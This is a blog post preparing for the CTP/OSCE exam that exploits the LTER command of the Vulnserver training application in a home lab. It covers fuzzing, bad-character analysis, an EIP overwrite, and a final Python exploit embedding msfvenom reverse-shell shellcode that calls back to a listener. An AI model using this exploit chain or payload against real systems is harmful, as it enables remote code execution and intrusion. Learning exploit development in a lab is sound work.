CTP/OSCE Prep – ‘LTER’ SEH Snafu! and EIP Overwrite Success

11 minute read

Introduction

This series of posts will focus on the concepts I’m learning/practicing in preparation for CTP/OSCE. In this series of posts, I plan on exploring:

  • fuzzing,
  • vanilla EIP overwrite,
  • SEH overwrite, and
  • egghunters.

Writing these entries will force me to become intimately familiar with these topics, and hopefully you can get something out of them as well!

In this particular post, we will be approaching an overflow in the LTER parameter trying to utilize all the tricks we’ve learned thus far.

If you have not already done so, please read some of the posts in the ‘CTP/OSCE Prep’ series as this post will be light on review!

Goals

For this post, our goal is to try to utilize all the skills we’ve gained thus far to exploit Vulnserver in a new way, finding a new vulnerable parameter.

Fuzzing

I tried to go sequentially through the parameters and find one I could fuzz which would make the application crash but none of the first few parameters would actually crash the server. I then picked some at random and struck out there as well. Finally, I fuzzed LTER and got the server to crash.

The final boofuzz script I used looked like this:

#!/usr/bin/python

from boofuzz import *

host = '192.168.1.201'	#windows VM
port = 9999		#vulnserver port

def main():
	
	session = Session(target = Target(connection = SocketConnection(host, port, proto='tcp')))
	
	s_initialize("LTER")	#just giving our session a name, "LTER"

    	s_string("LTER", fuzzable = False)	#these strings are fuzzable by default, so here instead of blank, we specify 'false'
    	s_delim(" ", fuzzable = False)		#we don't want to fuzz the space between "LTER" and our arg
   	s_string("FUZZ")			#This value is arbitrary as we did not specify 'False' for fuzzable. Boofuzz will fuzz this string now
 
        session.connect(s_get("LTER"))		#having our 'session' variable connect following the guidelines we established in "LTER"
    	session.fuzz()				#calling this function actually performs the fuzzing

if __name__ == "__main__":
    main()

The Crash!

The first things I noted in Immunity when the server crashed:

  • We are being prompted by Immunity to pass an exception to the program,
  • We have overwritten ECX and EBP,
  • The stack shows us that 01B4F1F0 and 01B4F1F4 hold "LTER /.../BBBB..."

Where do we go from here? Well, we know that having control of the registers is great; however, since we’re going to have to pass an exception to this program, and we don’t have control of EIP, these registers will probably be XOR against themselves and zeroed out.

We definitely want to use the feedback we got from the stack readout where we saw "LTER /.../BBBB...", we will hardcode this into our exploit script.

The next step we want to do is track down exactly how many bytes boofuzz sent and since we know we filled the registers with B values, it shouldn’t be too hard to track down the exact payload the fuzzer sent.

Replicating the Crash

Examining the CLI output from boofuzz,

We find that in our third payload we sent 5012 bytes and they were all B values prepended by LTER /.../. So let’s hardcode this into our exploit.py and see if we can get the program to crash without the fuzzer. This is our exploit script at this point:

#!/usr/bin/python

import socket
import os
import sys

host = "192.168.1.201"
port = 9999

buffer = "A" * 5012

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
s.send("LTER /.../" + buffer)
print s.recv(1024)
s.close()

And we get it to crash, awesome

Let’s look at the SEH chain!

Awesome, we’ve managed to overwrite both of the SEH components, we can probably control the execution now. But, before we get carried away, we have two outstanding tasks:

  1. Determine bad chars,
  2. Calculate the offset to the SEH components (remember, they are separated by 4 bytes).

Determining Bad Characters

Let’s cram the badchars variable into our A buffer since, judging by the stack output we get from Immunity, that space is huge. Our exploit code at this point will look like this:

#!/usr/bin/python

import socket
import os
import sys

host = "192.168.1.201"
port = 9999

badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

buffer = badchars
buffer += "A" * (5012 - len(badchars))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
s.send("LTER /.../" + buffer)
print s.recv(1024)
s.close()

Once we send this and the application crashes, we have to select one of the overwritten registers, I used EBP, and then right-click > follow in dump. We see that every thing was going really well until right after 7F where we were expecting to see 80 but instead see a 01.

A good habit we should start enforcing is adding some helpful comments to our python code as we progress so that we can start to eliminate some careless mistakes. Let’s start:

  • annotating bad chars,
  • annotating shellcode lengths,
  • annotating the payload or msfvenom command used to generate the shellcode, and
  • annotating egghunter lengths (if needed).

Let’s eliminate 80 from our badchars variable since it’s trash and it’s trying to ruin our day and our exploit and our chance at OSCE glory. Our exploit now looks like this:

#!/usr/bin/python

import socket
import os
import sys

host = "192.168.1.201"
port = 9999

badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

buffer = badchars
buffer += "A" * (5012 - len(badchars))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
s.send("LTER /.../" + buffer)
print s.recv(1024)
s.close()

Let’s send this and see what happens.

Record Scratch

Err, what? I’ve never seen this before. It looks like whatever is coming after 7F is still getting corrupted somehow.

Using the calculator in Windows on ‘Programmer’ mode, we can subtract 7F from 80 and we get 1. If you look back, we were getting 01 as the byte following 7F. Now that we’ve removed 80 and the next byte is 81 and we get a 02, we can obviously assume that everything after 7F is getting 7F subtracted from it. I have no idea what this means.

Let’s just Google “00 through 7F” and see what we get. The first result shows us that the hex range of 00 - 7F is the hex range for ASCII characters. So this application is filtering for ASCII characters only! Hopefully there is a way we can make this work with ASCII only.

So What Happened Was…

So I never actually got the SEH overwrite to work. I used a ‘Net Jump’ like we used in our last post and was able to jump right into the first bytes of our C (or D depending on how you do your script) buffer and was fine. But had limited space to work with. Previously we had jumped back by decrementing a register a few times and then jumping to that register OR using an egghunter. But due to the character restrictions, I didn’t feel comfortable with our shellcode working.

I tried to find a way to encode the shellcode with the msfvenom alphanumeric (ASCII) encoders, but as you will see in this post we would need to know the absolute location of our shellcode as it relates to a register and I couldn’t figure out how to do it. We will hopefully revisit the SEH overwrite at some point later in this series and get it working.

Lesson Learned

One thing I learned while going through this process, which took hours, was that we don’t necessarily have to take what the fuzzer is giving us. Sometimes if you get an SEH overwrite with the fuzzer, if you decrease the size of your fuzzing string you can turn the overflow into a simple EIP overwrite! I wish I would’ve known this before, but now I will never forget.

At least we already know the character restrictions and the alphanumeric encoding research I did while working with the SEH overwrite will come in handy soon. For now, let’s lower our fuzzing string to 3000 bytes and try this again.

A New Crash

Reducing our script payload down to 3000 gives us the following exploit code:

#!/usr/bin/python

import socket
import os
import sys

#poppopret: 6250172B

host = "192.168.1.201"
port = 9999

buffer = "A" * 3000

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
s.send("LTER /.../" + buffer)
print s.recv(1024)
s.close()

If we use this on Vulnserver, we get the following output from Immunity:

This looks promising. We have overwritten EIP. Time to use mona to get a pattern created so we can determine the offset. After

  • using !mona pc 3000 to create a pattern.txt file,
  • making that ASCII string our payload,
  • taking the overwritten EIP value and feeding it to mona with !mona po <EIP after overflowing with mona pattern>

We get an offset of 2002. Let’s confirm we have our offsets correct.

#!/usr/bin/python

import socket
import os
import sys

#poppopret: 6250172B

host = "192.168.1.201"
port = 9999

buffer = "A" * 2002
buffer += "BBBB"
buffer += "C" * (3000 - len(buffer))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
s.send("LTER /.../" + buffer)
print s.recv(1024)
s.close()

It looks like our offsets were correct. We have BBBB in our EIP as planned and our beautiful C buffer afterwards.

Finding a Suitable JMP ESP

We now have to find a JMP ESP in the essfunc.dll but we have to keep in mind the character restrictions. If we were to input a harcoded address with a bad character, it would get corrupted and we wouldn’t end up hitting our JMP ESP. Let’s see if mona can help us avoid bad characters.

A quick search gets us to the Corelan mona explainer and we see that there is an option to specify criteria for the types of pointers that mona brings back. This is so sick!

Let’s use the command !mona jmp -r esp -cp ascii and see what mona comes back with.

Let’s use the first one: 62501203. Remember this has to be input into our script in reverse order because of our endianness. Our exploit code now looks like this:

#!/usr/bin/python

import socket
import os
import sys

#jmp esp: 62501203

host = "192.168.1.201"
port = 9999

buffer = "A" * 2002
buffer += "\x03\x12\x50\x62"
buffer += "C" * (3000 - len(buffer))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
s.send("LTER /.../" + buffer)
print s.recv(1024)
s.close()

ASCII Shellcode

We know our shellcode cannot have anything over 7f in it which is the last ASCII character so we have to have an ‘alpha numeric’ shellcode. After some digging, I found this explainer from Offensive Security which describes how the process works.

We have to use the -e x86/alpha_mixed option when we generate our payload in msfvenom; however, this also will not cut it. If we do this, we end up with this character set prepended to our shellcode every single time: \x89\xe2\xdb\xc3\xd9\x72. According to Offensive Security, the opcodes…at the beginning of the payload…are needed in order to find the payloads absolute location in memory and obtain a fully position-independent shellcode. Once our shellcode address is obtained through the first two instructions, it is pushed onto the stack and stored in the ECX register, which will then be used to calculate relative offsets. However, if we are somehow able to obtain the absolute position of the shellcode on our own and save that address in a register before running the shellcode, we can use the special option BufferRegister=REG32 while encoding our payload.

So in summary, the shellcode uses this sequence of characters to find the absolute location of shellcode in memory, but if you know the absolute location as it relates to a register we can use the BufferRegister option and specify a register the shellcode resides in. Well, we know that the shellcode resides in ESP so we should be good to go!

This was my problem with the SEH overwrite, I couldn’t get the program to overflow in a way that would place our payload after the Net Jump in a register…but I digress…

Generating the Shellcode

To generate our special shellcode we use the following command:

msfvenom -p windows/shell_reverse_tcp EXITFUNC=thread LHOST=192.168.1.205 LPORT=443 -f c -b '\x00' -e x86/alpha_mixed BufferRegister=ESP
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_mixed
x86/alpha_mixed succeeded with size 702 (iteration=0)
x86/alpha_mixed chosen with final size 702
Payload size: 702 bytes
Final size of c file: 2973 bytes
unsigned char buf[] = 
"\x54\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b"
"\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58"
"\x50\x38\x41\x42\x75\x4a\x49\x49\x6c\x6a\x48\x6d\x52\x33\x30"
"\x55\x50\x77\x70\x73\x50\x6b\x39\x5a\x45\x75\x61\x69\x50\x63"
"\x54\x4e\x6b\x42\x70\x56\x50\x4e\x6b\x70\x52\x64\x4c\x4e\x6b"
"\x72\x72\x54\x54\x4c\x4b\x34\x32\x44\x68\x54\x4f\x6f\x47\x32"
"\x6a\x36\x46\x36\x51\x39\x6f\x6e\x4c\x77\x4c\x55\x31\x53\x4c"
"\x47\x72\x76\x4c\x31\x30\x39\x51\x38\x4f\x76\x6d\x36\x61\x48"
"\x47\x79\x72\x6b\x42\x42\x72\x66\x37\x6e\x6b\x72\x72\x34\x50"
"\x4c\x4b\x33\x7a\x37\x4c\x6e\x6b\x62\x6c\x57\x61\x63\x48\x4b"
"\x53\x63\x78\x53\x31\x5a\x71\x46\x31\x6e\x6b\x36\x39\x55\x70"
"\x73\x31\x4a\x73\x4e\x6b\x30\x49\x52\x38\x58\x63\x66\x5a\x30"
"\x49\x6c\x4b\x36\x54\x4c\x4b\x45\x51\x49\x46\x36\x51\x39\x6f"
"\x4e\x4c\x6f\x31\x68\x4f\x74\x4d\x46\x61\x38\x47\x74\x78\x4b"
"\x50\x52\x55\x4c\x36\x73\x33\x61\x6d\x49\x68\x77\x4b\x73\x4d"
"\x77\x54\x70\x75\x5a\x44\x73\x68\x4e\x6b\x72\x78\x31\x34\x73"
"\x31\x79\x43\x72\x46\x6e\x6b\x54\x4c\x62\x6b\x4c\x4b\x33\x68"
"\x35\x4c\x73\x31\x68\x53\x6c\x4b\x43\x34\x6e\x6b\x55\x51\x68"
"\x50\x6b\x39\x77\x34\x74\x64\x36\x44\x61\x4b\x73\x6b\x33\x51"
"\x71\x49\x32\x7a\x52\x71\x69\x6f\x49\x70\x31\x4f\x63\x6f\x43"
"\x6a\x4c\x4b\x77\x62\x68\x6b\x4c\x4d\x53\x6d\x45\x38\x70\x33"
"\x65\x62\x73\x30\x75\x50\x71\x78\x54\x37\x31\x63\x64\x72\x51"
"\x4f\x33\x64\x75\x38\x42\x6c\x42\x57\x67\x56\x44\x47\x4b\x4f"
"\x79\x45\x4d\x68\x4e\x70\x33\x31\x73\x30\x77\x70\x47\x59\x4f"
"\x34\x51\x44\x30\x50\x73\x58\x55\x79\x6b\x30\x32\x4b\x73\x30"
"\x79\x6f\x39\x45\x50\x50\x76\x30\x76\x30\x70\x50\x47\x30\x36"
"\x30\x63\x70\x50\x50\x51\x78\x7a\x4a\x36\x6f\x79\x4f\x4b\x50"
"\x4b\x4f\x38\x55\x6f\x67\x50\x6a\x53\x35\x72\x48\x6f\x30\x6d"
"\x78\x66\x61\x68\x4d\x52\x48\x64\x42\x47\x70\x47\x71\x4f\x4b"
"\x4c\x49\x48\x66\x31\x7a\x42\x30\x61\x46\x36\x37\x61\x78\x4e"
"\x79\x4e\x45\x50\x74\x63\x51\x4b\x4f\x7a\x75\x6c\x45\x39\x50"
"\x50\x74\x56\x6c\x69\x6f\x32\x6e\x53\x38\x51\x65\x68\x6c\x35"
"\x38\x4a\x50\x6d\x65\x49\x32\x31\x46\x79\x6f\x6a\x75\x65\x38"
"\x45\x33\x62\x4d\x35\x34\x43\x30\x6c\x49\x6a\x43\x71\x47\x63"
"\x67\x73\x67\x56\x51\x4b\x46\x43\x5a\x32\x32\x51\x49\x43\x66"
"\x68\x62\x6b\x4d\x53\x56\x6a\x67\x71\x54\x74\x64\x45\x6c\x76"
"\x61\x77\x71\x4e\x6d\x42\x64\x44\x64\x46\x70\x4b\x76\x63\x30"
"\x51\x54\x42\x74\x50\x50\x73\x66\x46\x36\x72\x76\x61\x56\x72"
"\x76\x52\x6e\x62\x76\x71\x46\x30\x53\x51\x46\x62\x48\x52\x59"
"\x58\x4c\x77\x4f\x4d\x56\x69\x6f\x4a\x75\x6d\x59\x4b\x50\x62"
"\x6e\x43\x66\x50\x46\x39\x6f\x46\x50\x63\x58\x55\x58\x6b\x37"
"\x45\x4d\x63\x50\x4b\x4f\x4e\x35\x6f\x4b\x4b\x50\x47\x6d\x35"
"\x7a\x34\x4a\x62\x48\x6c\x66\x4c\x55\x6d\x6d\x6d\x4d\x4b\x4f"
"\x6e\x35\x35\x6c\x76\x66\x33\x4c\x46\x6a\x4b\x30\x49\x6b\x69"
"\x70\x62\x55\x76\x65\x4d\x6b\x53\x77\x34\x53\x43\x42\x42\x4f"
"\x33\x5a\x45\x50\x76\x33\x4b\x4f\x4e\x35\x41\x41";

Final Exploit

Our exploit code now looks like this:

#!/usr/bin/python

import socket
import os
import sys

#jmp esp: 62501203

host = "192.168.1.201"
port = 9999

# msfvenom -p windows/shell_reverse_tcp EXITFUNC=thread LHOST=192.168.1.205 LPORT=443 -f c -b '\x00' -e x86/alpha_mixed BufferRegister=ESP
# 702 bytes
shellcode = ("\x54\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b"
"\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58"
"\x50\x38\x41\x42\x75\x4a\x49\x49\x6c\x6a\x48\x6d\x52\x33\x30"
"\x55\x50\x77\x70\x73\x50\x6b\x39\x5a\x45\x75\x61\x69\x50\x63"
"\x54\x4e\x6b\x42\x70\x56\x50\x4e\x6b\x70\x52\x64\x4c\x4e\x6b"
"\x72\x72\x54\x54\x4c\x4b\x34\x32\x44\x68\x54\x4f\x6f\x47\x32"
"\x6a\x36\x46\x36\x51\x39\x6f\x6e\x4c\x77\x4c\x55\x31\x53\x4c"
"\x47\x72\x76\x4c\x31\x30\x39\x51\x38\x4f\x76\x6d\x36\x61\x48"
"\x47\x79\x72\x6b\x42\x42\x72\x66\x37\x6e\x6b\x72\x72\x34\x50"
"\x4c\x4b\x33\x7a\x37\x4c\x6e\x6b\x62\x6c\x57\x61\x63\x48\x4b"
"\x53\x63\x78\x53\x31\x5a\x71\x46\x31\x6e\x6b\x36\x39\x55\x70"
"\x73\x31\x4a\x73\x4e\x6b\x30\x49\x52\x38\x58\x63\x66\x5a\x30"
"\x49\x6c\x4b\x36\x54\x4c\x4b\x45\x51\x49\x46\x36\x51\x39\x6f"
"\x4e\x4c\x6f\x31\x68\x4f\x74\x4d\x46\x61\x38\x47\x74\x78\x4b"
"\x50\x52\x55\x4c\x36\x73\x33\x61\x6d\x49\x68\x77\x4b\x73\x4d"
"\x77\x54\x70\x75\x5a\x44\x73\x68\x4e\x6b\x72\x78\x31\x34\x73"
"\x31\x79\x43\x72\x46\x6e\x6b\x54\x4c\x62\x6b\x4c\x4b\x33\x68"
"\x35\x4c\x73\x31\x68\x53\x6c\x4b\x43\x34\x6e\x6b\x55\x51\x68"
"\x50\x6b\x39\x77\x34\x74\x64\x36\x44\x61\x4b\x73\x6b\x33\x51"
"\x71\x49\x32\x7a\x52\x71\x69\x6f\x49\x70\x31\x4f\x63\x6f\x43"
"\x6a\x4c\x4b\x77\x62\x68\x6b\x4c\x4d\x53\x6d\x45\x38\x70\x33"
"\x65\x62\x73\x30\x75\x50\x71\x78\x54\x37\x31\x63\x64\x72\x51"
"\x4f\x33\x64\x75\x38\x42\x6c\x42\x57\x67\x56\x44\x47\x4b\x4f"
"\x79\x45\x4d\x68\x4e\x70\x33\x31\x73\x30\x77\x70\x47\x59\x4f"
"\x34\x51\x44\x30\x50\x73\x58\x55\x79\x6b\x30\x32\x4b\x73\x30"
"\x79\x6f\x39\x45\x50\x50\x76\x30\x76\x30\x70\x50\x47\x30\x36"
"\x30\x63\x70\x50\x50\x51\x78\x7a\x4a\x36\x6f\x79\x4f\x4b\x50"
"\x4b\x4f\x38\x55\x6f\x67\x50\x6a\x53\x35\x72\x48\x6f\x30\x6d"
"\x78\x66\x61\x68\x4d\x52\x48\x64\x42\x47\x70\x47\x71\x4f\x4b"
"\x4c\x49\x48\x66\x31\x7a\x42\x30\x61\x46\x36\x37\x61\x78\x4e"
"\x79\x4e\x45\x50\x74\x63\x51\x4b\x4f\x7a\x75\x6c\x45\x39\x50"
"\x50\x74\x56\x6c\x69\x6f\x32\x6e\x53\x38\x51\x65\x68\x6c\x35"
"\x38\x4a\x50\x6d\x65\x49\x32\x31\x46\x79\x6f\x6a\x75\x65\x38"
"\x45\x33\x62\x4d\x35\x34\x43\x30\x6c\x49\x6a\x43\x71\x47\x63"
"\x67\x73\x67\x56\x51\x4b\x46\x43\x5a\x32\x32\x51\x49\x43\x66"
"\x68\x62\x6b\x4d\x53\x56\x6a\x67\x71\x54\x74\x64\x45\x6c\x76"
"\x61\x77\x71\x4e\x6d\x42\x64\x44\x64\x46\x70\x4b\x76\x63\x30"
"\x51\x54\x42\x74\x50\x50\x73\x66\x46\x36\x72\x76\x61\x56\x72"
"\x76\x52\x6e\x62\x76\x71\x46\x30\x53\x51\x46\x62\x48\x52\x59"
"\x58\x4c\x77\x4f\x4d\x56\x69\x6f\x4a\x75\x6d\x59\x4b\x50\x62"
"\x6e\x43\x66\x50\x46\x39\x6f\x46\x50\x63\x58\x55\x58\x6b\x37"
"\x45\x4d\x63\x50\x4b\x4f\x4e\x35\x6f\x4b\x4b\x50\x47\x6d\x35"
"\x7a\x34\x4a\x62\x48\x6c\x66\x4c\x55\x6d\x6d\x6d\x4d\x4b\x4f"
"\x6e\x35\x35\x6c\x76\x66\x33\x4c\x46\x6a\x4b\x30\x49\x6b\x69"
"\x70\x62\x55\x76\x65\x4d\x6b\x53\x77\x34\x53\x43\x42\x42\x4f"
"\x33\x5a\x45\x50\x76\x33\x4b\x4f\x4e\x35\x41\x41")

buffer = "A" * 2002
buffer += "\x03\x12\x50\x62"
buffer += '\x90' * 15
buffer += shellcode
buffer += "C" * (3000 - len(buffer))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
s.send("LTER /.../" + buffer)
print s.recv(1024)
s.close()

Conclusion

We get our reverse shell:

astrid:~/ # nc -lvp 443                                                                                                                 
listening on [any] 443 ...
192.168.1.201: inverse host lookup failed: Unknown host
connect to [192.168.1.205] from (UNKNOWN) [192.168.1.201] 49293
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\IEUser\Desktop>

We learned a lot in this one. Namely, that it’s not always ideal to take what the fuzzer gives you for granted. Sometimes it’s possible to alter your fuzzing string and change the nature of the exploit entirely. It’s a good thing we learned this hard lesson during our prep and not during the exam. For now, we will vow vengeance on the LTER SEH overwrite, and move onto a different parameter in the next post! Thanks for reading!

Big Thanks

To everyone who has published free intro-level 32 bit exploit dev material, I’m super appreciative. Truly mean it.

Resources